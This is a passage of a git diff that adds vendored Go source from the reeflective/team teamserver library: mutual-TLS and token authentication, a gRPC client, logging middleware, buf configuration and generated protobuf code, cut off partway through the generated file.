+ + certPEM, keyPEM, err := ts.certs.UserServerGetCertificate() + if err != nil { + return nil, ts.errorWith(log, "%w: failed to generated or fetch user certificate: %w", ErrCertificate, err) + } + + cert, err := tls.X509KeyPair(certPEM, keyPEM) + if err != nil { + return nil, ts.errorWith(log, "%w: failed to load server certificate: %w", ErrCertificate, err) + } + + tlsConfig := &tls.Config{ + RootCAs: caCertPool, + ClientAuth: tls.RequireAndVerifyClientCert, + ClientCAs: caCertPool, + Certificates: []tls.Certificate{cert}, + MinVersion: tls.VersionTLS13, + } + + if keyLogger := ts.certs.OpenTLSKeyLogFile(); keyLogger != nil { + tlsConfig.KeyLogWriter = ts.certs.OpenTLSKeyLogFile() + } + + return tlsConfig, nil +} + +// UsersGetCA returns the bytes of a PEM-encoded certificate authority, +// which contains certificates of all users of this teamserver. +func (ts *Server) UsersGetCA() ([]byte, []byte, error) { + if err := ts.initDatabase(); err != nil { + return nil, nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + return ts.certs.GetUsersCAPEM() +} + +// UsersSaveCA accepts the public and private parts of a Certificate +// Authority containing one or more users to add to the teamserver. +func (ts *Server) UsersSaveCA(cert, key []byte) { + if err := ts.initDatabase(); err != nil { + return + } + + ts.certs.SaveUsersCA(cert, key) +} + +// newUserToken - Generate a new user authentication token. +func (ts *Server) newUserToken() (string, error) { + buf := make([]byte, tokenLength) + + n, err := rand.Read(buf) + if err != nil || n != len(buf) { + return "", fmt.Errorf("%w: %w", ErrSecureRandFailed, err) + } else if n != len(buf) { + return "", ErrSecureRandFailed + } + + return hex.EncodeToString(buf), nil +} + +// userByToken - Select a teamserver user by token value. +func (ts *Server) userByToken(value string) (*db.User, error) { + if len(value) < 1 { + return nil, db.ErrRecordNotFound + } + + user := &db.User{} + err := ts.dbSession().Where(&db.User{ + Token: value, + }).First(user).Error + + return user, err +} + +func (ts *Server) updateLastSeen(name string) { + lastSeen := time.Now().Round(1 * time.Second) + ts.dbSession().Model(&db.User{}).Where("name", name).Update("LastSeen", lastSeen) +} diff --git a/vendor/github.com/reeflective/team/teamclient.go b/vendor/github.com/reeflective/team/teamclient.go new file mode 100644 index 0000000000..9a58747bb0 --- /dev/null +++ b/vendor/github.com/reeflective/team/teamclient.go @@ -0,0 +1,66 @@ +package team + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import "time" + +// Client is the smallest interface which should be implemented by all +// teamclients of any sort, regardless of their use of the client/server +// packages in the reeflective/team Go module. +// This interface has been declared with various aims in mind: +// - To provide a base reference/hint about what minimum functionality +// is to be provided by the teamclients and teamservers alike. +// - To harmonize the use of team/client and team/server core drivers. +type Client interface { + Users() ([]User, error) + Version() (Version, error) +} + +// User represents a teamserver user. +// This user shall be registered to a teamserver (ie. the teamserver should +// be in possession of the user cryptographic materials required to serve him) +// This type is returned by both team/clients and team/servers. +type User struct { + Name string + Online bool + LastSeen time.Time + Clients int +} + +// Version returns complete version/compilation information for a given binary. +// Therefore, two distinct version information can be provided by a teamclient +// connected to a remote (distinct runtime) server: the client binary version, +// and the server binary version. +// When a teamserver is serving itself in-memory, both versions will thus be identical. +// +// Note to developers: updating your teamserver/teamclient version information +// requires you to use `go generate ./...` at the root of your Go module code. +// The team/server and team/client will thus embed their respective version +// informations thanks to an automatic shell script generation. +// See the https://github.com/reeflective/team README/doc for more details. +type Version struct { + Major int32 + Minor int32 + Patch int32 + Commit string + Dirty bool + CompiledAt int64 + OS string + Arch string +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/client/client.go b/vendor/github.com/reeflective/team/transports/grpc/client/client.go new file mode 100644 index 0000000000..4cdbafe95f --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/client/client.go @@ -0,0 +1,189 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "fmt" + "time" + + "github.com/reeflective/team" + "github.com/reeflective/team/client" + "github.com/reeflective/team/transports/grpc/proto" + "google.golang.org/grpc" + "google.golang.org/grpc/status" +) + +const ( + kb = 1024 + mb = kb * 1024 + gb = mb * 1024 + + // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb. + ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte + + defaultTimeout = 10 * time.Second +) + +var ( + // ErrNoRPC indicates that no gRPC generated proto.Teamclient bound to a client + // connection is available. The error is raised when the handler hasn't connected. + ErrNoRPC = errors.New("no working grpc.Teamclient available") + + // ErrNoTLSCredentials is an error raised if the teamclient was asked to setup, or try + // connecting with, TLS credentials. If such an error is raised, make sure your team + // client has correctly fetched -using client.Config()- a remote teamserver config. + ErrNoTLSCredentials = errors.New("the grpc Teamclient has no TLS credentials to use") +) + +// Teamclient is a simple example gRPC teamclient and dialer backend. +// It comes correctly configured with Mutual TLS authentication and +// RPC connection/registration/use when created with NewTeamClient(). +// +// This teamclient embeds a team/client.Client core driver and uses +// it for fetching/setting up the transport credentials, dialers, etc... +// It also has a few internal types (clientConns, options) for working. +// +// Note that this teamclient is not able to be used as an in-memory dialer. +// See the counterpart `team/transports/grpc/server` package for creating one. +// Also note that this example transport has been made for a single use-case, +// and that your program might require more elaborated behavior. +// In this case, please use this simple code as a reference for what/not to do. +type Teamclient struct { + *client.Client + conn *grpc.ClientConn + rpc proto.TeamClient + options []grpc.DialOption +} + +// NewTeamClient creates a new gRPC-based RPC teamclient and dialer backend. +// This client has by default only a few options, like max message buffer size. +// All options passed to this call are stored as is and will be used later. +func NewTeamClient(opts ...grpc.DialOption) *Teamclient { + client := &Teamclient{ + options: opts, + } + + client.options = append(client.options, + grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)), + ) + + return client +} + +// Init implements team/client.Dialer.Init(c). +// This implementation asks the teamclient core for its remote server +// configuration, and uses it to load a set of Mutual TLS dialing options. +func (h *Teamclient) Init(cli *client.Client) error { + h.Client = cli + config := cli.Config() + + options := LogMiddlewareOptions(cli) + + // If the configuration has no credentials, we are most probably + // an in-memory dialer, don't authenticate and encrypt the conn. + if config.PrivateKey != "" { + tlsOpts, err := tlsAuthMiddleware(cli) + if err != nil { + return err + } + + h.options = append(h.options, tlsOpts...) + } + + h.options = append(h.options, options...) + + return nil +} + +// Dial implements team/client.Dialer.Dial(). +// It uses the teamclient remote server configuration as a target of a dial call. +// If the connection is successful, the teamclient registers a proto.Teamclient +// RPC around its client connection, to provide the core teamclient functionality. +func (h *Teamclient) Dial() (rpcClient any, err error) { + ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) + defer cancel() + + host := fmt.Sprintf("%s:%d", h.Config().Host, h.Config().Port) + + h.conn, err = grpc.DialContext(ctx, host, h.options...) + if err != nil { + return nil, err + } + + h.rpc = proto.NewTeamClient(h.conn) + + return h.conn, nil +} + +// Close implements team/client.Dialer.Close(), and closes the gRPC client connection. +func (h *Teamclient) Close() error { + return h.conn.Close() +} + +// Users returns a list of all users registered with the app teamserver. +// If the gRPC teamclient is not connected or does not have an RPC client, +// an ErrNoRPC is returned. +func (h *Teamclient) Users() (users []team.User, err error) { + if h.rpc == nil { + return nil, ErrNoRPC + } + + res, err := h.rpc.GetUsers(context.Background(), &proto.Empty{}) + if err != nil { + return nil, err + } + + for _, user := range res.GetUsers() { + users = append(users, team.User{ + Name: user.Name, + Online: user.Online, + LastSeen: time.Unix(user.LastSeen, 0), + }) + } + + return +} + +// ServerVersion returns the version information of the server to which +// the client is connected, or nil and an error if it could not retrieve it. +// If the gRPC teamclient is not connected or does not have an RPC client, +// an ErrNoRPC is returned. +func (h *Teamclient) Version() (version team.Version, err error) { + if h.rpc == nil { + return version, ErrNoRPC + } + + ver, err := h.rpc.GetVersion(context.Background(), &proto.Empty{}) + if err != nil { + return version, errors.New(status.Convert(err).Message()) + } + + return team.Version{ + Major: ver.Major, + Minor: ver.Minor, + Patch: ver.Patch, + Commit: ver.Commit, + Dirty: ver.Dirty, + CompiledAt: ver.CompiledAt, + OS: ver.OS, + Arch: ver.Arch, + }, nil +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/client/middleware.go b/vendor/github.com/reeflective/team/transports/grpc/client/middleware.go new file mode 100644 index 0000000000..e0f0f37619 --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/client/middleware.go @@ -0,0 +1,99 @@ +package client + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "encoding/json" + + grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" + "github.com/reeflective/team/client" + "github.com/reeflective/team/transports/grpc/common" + "google.golang.org/grpc" + "google.golang.org/grpc/credentials" +) + +// TokenAuth extracts authentication metadata from contexts, +// specifically the "Authorization": "Bearer" key:value pair. +type TokenAuth string + +// LogMiddlewareOptions is an example list of gRPC options with logging middleware set up. +// This function uses the core teamclient loggers to log the gRPC stack/requests events. +// The Teamclient of this package uses them by default. +func LogMiddlewareOptions(cli *client.Client) []grpc.DialOption { + logrusEntry := cli.NamedLogger("transport", "grpc") + logrusOpts := []grpc_logrus.Option{ + grpc_logrus.WithLevels(common.CodeToLevel), + } + + grpc_logrus.ReplaceGrpcLogger(logrusEntry) + + // Intercepting client requests. + requestIntercept := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { + rawRequest, err := json.Marshal(req) + if err != nil { + logrusEntry.Errorf("Failed to serialize: %s", err) + return invoker(ctx, method, req, reply, cc, opts...) + } + + logrusEntry.Debugf("Raw request: %s", string(rawRequest)) + + return invoker(ctx, method, req, reply, cc, opts...) + } + + options := []grpc.DialOption{ + grpc.WithBlock(), + grpc.WithUnaryInterceptor(grpc_logrus.UnaryClientInterceptor(logrusEntry, logrusOpts...)), + grpc.WithUnaryInterceptor(requestIntercept), + } + + return options +} + +func tlsAuthMiddleware(cli *client.Client) ([]grpc.DialOption, error) { + config := cli.Config() + if config.PrivateKey == "" { + return nil, ErrNoTLSCredentials + } + + tlsConfig, err := cli.NewTLSConfigFrom(config.CACertificate, config.Certificate, config.PrivateKey) + if err != nil { + return nil, err + } + + transportCreds := credentials.NewTLS(tlsConfig) + callCreds := credentials.PerRPCCredentials(TokenAuth(config.Token)) + + return []grpc.DialOption{ + grpc.WithTransportCredentials(transportCreds), + grpc.WithPerRPCCredentials(callCreds), + }, nil +} + +// Return value is mapped to request headers. +func (t TokenAuth) GetRequestMetadata(_ context.Context, _ ...string) (map[string]string, error) { + return map[string]string{ + "Authorization": "Bearer " + string(t), + }, nil +} + +// RequireTransportSecurity always return true. +func (TokenAuth) RequireTransportSecurity() bool { + return true +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/common/log.go b/vendor/github.com/reeflective/team/transports/grpc/common/log.go new file mode 100644 index 0000000000..476805ca89 --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/common/log.go @@ -0,0 +1,66 @@ +package common + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/sirupsen/logrus" + "google.golang.org/grpc/codes" +) + +// Maps a grpc response code to a logging level. +func CodeToLevel(code codes.Code) logrus.Level { + switch code { + case codes.OK: + return logrus.DebugLevel + case codes.Canceled: + return logrus.DebugLevel + case codes.Unknown: + return logrus.ErrorLevel + case codes.InvalidArgument: + return logrus.WarnLevel + case codes.DeadlineExceeded: + return logrus.WarnLevel + case codes.NotFound: + return logrus.DebugLevel + case codes.AlreadyExists: + return logrus.DebugLevel + case codes.PermissionDenied: + return logrus.WarnLevel + case codes.Unauthenticated: + return logrus.WarnLevel + case codes.ResourceExhausted: + return logrus.WarnLevel + case codes.FailedPrecondition: + return logrus.WarnLevel + case codes.Aborted: + return logrus.WarnLevel + case codes.OutOfRange: + return logrus.WarnLevel + case codes.Unimplemented: + return logrus.ErrorLevel + case codes.Internal: + return logrus.ErrorLevel + case codes.Unavailable: + return logrus.WarnLevel + case codes.DataLoss: + return logrus.ErrorLevel + default: + return logrus.ErrorLevel + } +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/buf.gen.yaml b/vendor/github.com/reeflective/team/transports/grpc/proto/buf.gen.yaml new file mode 100644 index 0000000000..3db65777d2 --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/proto/buf.gen.yaml @@ -0,0 +1,13 @@ +version: v1 +managed: + enabled: true + go_package_prefix: + default: github.com/reeflective/team/transports/grpc/proto + +plugins: + - name: go + out: . + opt: paths=source_relative + - name: go-grpc + out: . + opt: paths=source_relative diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/buf.work.yaml b/vendor/github.com/reeflective/team/transports/grpc/proto/buf.work.yaml new file mode 100644 index 0000000000..f5a48a2395 --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/proto/buf.work.yaml @@ -0,0 +1,3 @@ +version: v1 +directories: + - . diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/buf.yaml b/vendor/github.com/reeflective/team/transports/grpc/proto/buf.yaml new file mode 100644 index 0000000000..65d1ddbac4 --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/proto/buf.yaml @@ -0,0 +1,12 @@ +version: v1 +name: buf.build/reeflective/team +lint: + use: + - BASIC + except: + - FIELD_LOWER_SNAKE_CASE + - ENUM_VALUE_UPPER_SNAKE_CASE +breaking: + use: + - FILE + diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/client.pb.go b/vendor/github.com/reeflective/team/transports/grpc/proto/client.pb.go new file mode 100644 index 0000000000..50e85c77dd --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/proto/client.pb.go @@ -0,0 +1,505 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.31.0 +// protoc v3.18.1 +// source: client.proto + +package proto + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +// [ Client & User ] +type Client struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + ID uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"` + Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"` + User *User `protobuf:"bytes,3,opt,name=User,proto3" json:"User,omitempty"` +} + +func (x *Client) Reset() { + *x = Client{} + if protoimpl.UnsafeEnabled { + mi := &file_client_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Client) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Client) ProtoMessage() {} + +func (x *Client) ProtoReflect() protoreflect.Message { + mi := &file_client_proto_msgTypes[0] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Client.ProtoReflect.Descriptor instead. +func (*Client) Descriptor() ([]byte, []int) { + return file_client_proto_rawDescGZIP(), []int{0} +} + +func (x *Client) GetID() uint32 { + if x != nil { + return x.ID + } + return 0 +} + +func (x *Client) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Client) GetUser() *User { + if x != nil { + return x.User + } + return nil +} + +type Users struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Users []*User `protobuf:"bytes,1,rep,name=Users,proto3" json:"Users,omitempty"` +} + +func (x *Users) Reset() { + *x = Users{} + if protoimpl.UnsafeEnabled { + mi := &file_client_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Users) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Users) ProtoMessage() {} + +func (x *Users) ProtoReflect() protoreflect.Message { + mi := &file_client_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Users.ProtoReflect.Descriptor instead. +func (*Users) Descriptor() ([]byte, []int) { + return file_client_proto_rawDescGZIP(), []int{1} +} + +func (x *Users) GetUsers() []*User { + if x != nil { + return x.Users + } + return nil +} + +type User struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + Online bool `protobuf:"varint,2,opt,name=Online,proto3" json:"Online,omitempty"` + LastSeen int64 `protobuf:"varint,3,opt,name=LastSeen,proto3" json:"LastSeen,omitempty"` + Clients int32 `protobuf:"varint,4,opt,name=Clients,proto3" json:"Clients,omitempty"` +} + +func (x *User) Reset() { + *x = User{} + if protoimpl.UnsafeEnabled { + mi := &file_client_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *User) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*User) ProtoMessage() {} + +func (x *User) ProtoReflect() protoreflect.Message { + mi := &file_client_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use User.ProtoReflect.Descriptor instead. +func (*User) Descriptor() ([]byte, []int) { + return file_client_proto_rawDescGZIP(), []int{2} +} + +func (x *User) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *User) GetOnline() bool { + if x != nil { + return x.Online + } + return false +} + +func (x *User) GetLastSeen() int64 { + if x != nil { + return x.LastSeen + } + return 0 +} + +func (x *User) GetClients() int32 { + if x != nil { + return x.Clients + } + return 0 +} + +type Version struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Major int32 `protobuf:"varint,1,opt,name=Major,proto3" json:"Major,omitempty"` + Minor int32 `protobuf:"varint,2,opt,name=Minor,proto3" json:"Minor,omitempty"` + Patch int32 `protobuf:"varint,3,opt,name=Patch,proto3" json:"Patch,omitempty"` + Commit string `protobuf:"bytes,4,opt,name=Commit,proto3" json:"Commit,omitempty"` + Dirty bool `protobuf:"varint,5,opt,name=Dirty,proto3" json:"Dirty,omitempty"` + CompiledAt int64 `protobuf:"varint,6,opt,name=CompiledAt,proto3" json:"CompiledAt,omitempty"` + OS string `protobuf:"bytes,7,opt,name=OS,proto3" json:"OS,omitempty"` + Arch string `protobuf:"bytes,8,opt,name=Arch,proto3" json:"Arch,omitempty"` +} + +func (x *Version) Reset() { + *x = Version{} + if protoimpl.UnsafeEnabled { + mi := &file_client_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Version) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Version) ProtoMessage() {} + +func (x *Version) ProtoReflect() protoreflect.Message { + mi := &file_client_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Version.ProtoReflect.Descriptor instead. +func (*Version) Descriptor() ([]byte, []int) { + return file_client_proto_rawDescGZIP(), []int{3} +} + +func (x *Version) GetMajor() int32 { + if x != nil { + return x.Major + } + return 0 +} + +func (x *Version) GetMinor() int32 { + if x != nil { + return x.Minor + } + return 0 +} + +func (x *Version) GetPatch() int32 { + if x != nil { + return x.Patch + } + return 0 +} + +func (x *Version) GetCommit() string { + if x != nil { + return x.Commit + } + return "" +} + +func (x *Version) GetDirty() bool { + if x != nil { + return x.Dirty + } + return false +} + +func (x *Version) GetCompiledAt() int64 { + if x != nil { + return x.CompiledAt + } + return 0 +} + +func (x *Version) GetOS() string { + if x != nil { + return x.OS + } + return "" +} + +func (x *Version) GetArch() string { + if x != nil { + return x.Arch + } + return "" +} + +// [ Others ] +type Empty struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *Empty) Reset() { + *x = Empty{} + if protoimpl.UnsafeEnabled { + mi := &file_client_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Empty) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Empty) ProtoMessage() {} + +func (x *Empty) ProtoReflect() protoreflect.Message { + mi := &file_client_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Empty.ProtoReflect.Descriptor instead. +func (*Empty) Descriptor() ([]byte, []int) { + return file_client_proto_rawDescGZIP(), []int{4} +} + +var File_client_proto protoreflect.FileDescriptor + +var file_client_proto_rawDesc = []byte{ + 0x0a, 0x0c, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x06, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x55, 0x73, 0x65, 0x72, + 0x52, 0x04, 0x55, 0x73, 0x65, 0x72, 0x22, 0x2b, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, + 0x22, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0c, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x52, 0x05, 0x55, 0x73, + 0x65, 0x72, 0x73, 0x22, 0x68, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x61, 0x73, 0x74, 0x53, + 0x65, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x4c, 0x61, 0x73, 0x74, 0x53, + 0x65, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x73, 0x22, 0xbd, 0x01, + 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x4d, 0x61, 0x6a, + 0x6f, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x4d, 0x61, 0x6a, 0x6f, 0x72, 0x12, + 0x14, 0x0a, 0x05, 0x4d, 0x69, 0x6e, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, + 0x4d, 0x69, 0x6e, 0x6f, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x63, 0x68, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x50, 0x61, 0x74, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x69, 0x72, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x05, 0x44, 0x69, 0x72, 0x74, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, + 0x68, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x07, 0x0a, + 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x42, 0x84, 0x01, 0x0a, 0x0a, 0x63, 0x6f, 0x6d, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x42, 0x0b, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x31, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x72, 0x65, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x2f, 0x74, 0x65, 0x61, + 0x6d, 0x2f, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x2f, 0x67, 0x72, 0x70, + 0x63, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0xa2, 0x02, 0x03, 0x43, 0x58, 0x58, 0xaa, 0x02, 0x06, + 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0xca, 0x02, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0xe2, + 0x02, 0x12, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x5c, 0x47, 0x50, 0x42, 0x4d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0xea, 0x02, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x62, 0x06, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x33, +} + +var ( + file_client_proto_rawDescOnce sync.Once + file_client_proto_rawDescData = file_client_proto_rawDesc +) + +func file_client_proto_rawDescGZIP() []byte { + 